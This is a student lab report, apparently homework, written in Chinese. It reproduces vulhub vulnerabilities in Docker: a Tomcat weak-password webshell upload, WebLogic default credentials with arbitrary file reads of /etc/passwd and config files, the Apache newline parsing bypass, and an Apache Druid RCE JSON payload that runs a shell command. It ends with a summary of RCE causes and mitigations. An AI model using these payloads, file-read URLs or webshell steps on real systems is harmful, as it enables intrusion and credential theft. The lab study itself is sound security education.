1. 在vps安装docker和docker-compose
阿里云官方Docker安装教程,供参考:安装Docker并使用_云服务器 ECS(ECS)-阿里云帮助中心 (aliyun.com)
首先申请阿里云服务器
使用finalshell连接服务器
安装docker
安装docker-compose
-
运行以下命令,安装setuptools。
sudo pip3 install -U pip setuptools
-
运行以下命令,安装docker-compose。
sudo pip3 install docker-compose
验证
2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
2.1 tomcat 弱口令/后台文件上传getshell
下载vuihub-master,解压后进入~/vulhub-master/tomcat/tomcat8目录,启动tomcat。
输入指令docker-compose up -d
成功
修改一下vi docker-compose.yml中的默认端口为5555:
浏览器访问tomcat
点击manager app,输入账号密码(均为tomcat)
成功进入
生成
jar -cvf shell.war shell.jsp
下载到本地并上传至tomcat
打开连接
使用冰蝎建立连接
ls查看目录,成功
漏洞成因
Tomcat manager 登录界面存在弱口令漏洞(tomcat/tomcat),登录成功后有上传点,而压缩包 xxx.war的.war不会被解析,因此直接访问 xxx/里面的一句话路径,可直接拿到shell。
2.2 weblogic 弱口令/任意文件读取
切换路径后启动
浏览器打开【http://公网IP:7001/console/login/LoginForm.jsp】
,使用默认账密weblogic/Oracle@123登录
访问【http://公网IP:7001/hello/file.jsp?path=/etc/passwd】
可成功读取passwd文件
用Bp抓包SerializedSystemIni.dat和config.xml
http://公网IP:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
http://公网IP:7001/hello/file.jsp?path=config/config.xml
在响应信息中找到密钥,使用weblogic_decrypt.jar工具解密
漏洞成因
-
存在弱口令。
-
WebLogic 的某些版本存在任意文件读取漏洞,攻击者可以通过未授权的方式读取服务器上的敏感文件。
2.3 apache换行解析
切换到/vulhub-master/httpd/CVE-2017-15715启动靶场
浏览器访问IP:8080,成功
编写php一句话木马做测试文件
上传此文件,用BP拦截抓包,在文件名后添加一个\x0A,
切换到hex界面,右键0d选择插入一个字节0a:
放行数据包,发现返回页面没有显示bad file,状态码也是200,没有进行拦截
访问刚上传的test.php%0a,发现能成功解析,但此文件不是php后缀,说明目标存在解析漏洞
漏洞成因
Apache HTTPD的2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,【XX.php\x0A】将被按照php后缀进行解析,导致攻击者可能利用此漏洞绕过安全策略。
2.4 apache druid RCE
切换目录,启动容器:
docker-compose up -d
做到这里阿里云服务器崩溃,暂时借用同学服务器进行验证
访问IP:8888进入Druid console控制台界面,点击Load data —>Local disk
设置:
-
● Base directory: quickstart/tutorial/
-
● File filter: wikiticker-2015-09-12-sampled.json.gz
在点击Apply前,打开BP拦截抓包。把POST请求包发送到Repeater
修改为以下内容后发送
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
得到响应,服务器执行id命令
漏洞成因
在某些Druid版本中,由于未对外部输入进行充分验证和过滤,攻击者可以通过构造恶意请求,利用Druid的某些功能执行任意JS代码,从而控制服务器。
3. 总结RCE漏洞的原理和利用条件及解决方案
简述rce漏洞
1.rce漏洞:
rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。
在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。
比如:如果应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
2.rce漏洞产生的分类
**命令执行漏洞:**直接调用操作系统命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。
**代码执行漏洞:**靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()和passthru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。
系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。。
**调用的第三方组件存在代码执行漏洞:**例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。
3.rce的漏洞级别
**RCE漏洞通常被认为是高危漏洞。**这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。一旦出现RCE漏洞,攻击者可以获取服务器的命令执行权限,对服务器安全造成极大的影响.
利用条件
存在可被利用的输入接口:应用程序接受并处理用户输入,并在处理过程中调用底层代码或系统命令。
缺乏有效的输入验证:程序没有严格过滤或验证用户输入,使得恶意代码可以进入程序的执行流。
存在可访问的漏洞点:攻击者需要能够访问到含有RCE漏洞的接口,通常是通过网络或其他远程连接方式。
解决方案
输入验证与过滤:对所有用户输入进行严格的过滤和验证,确保输入内容不会被直接用于执行命令或代码。可以使用白名单策略,确保只允许合法的输入格式。
使用参数化接口:避免将用户输入直接传递给命令执行函数,应该使用参数化的方法(如在数据库查询中使用预处理语句)来防止代码或命令注入。
最小权限原则:确保程序仅在必要的权限下运行,即便出现漏洞,攻击者也无法通过该漏洞获取更高的系统权限。
安全更新:及时更新系统和软件,修补已知的安全漏洞。很多RCE漏洞是在旧版本软件中存在的,通过升级可以避免这些问题。
隔离与沙箱:将敏感操作或用户输入部分放置在隔离的环境中(如容器或沙箱),即使发生RCE,也能将影响控制在较小范围内。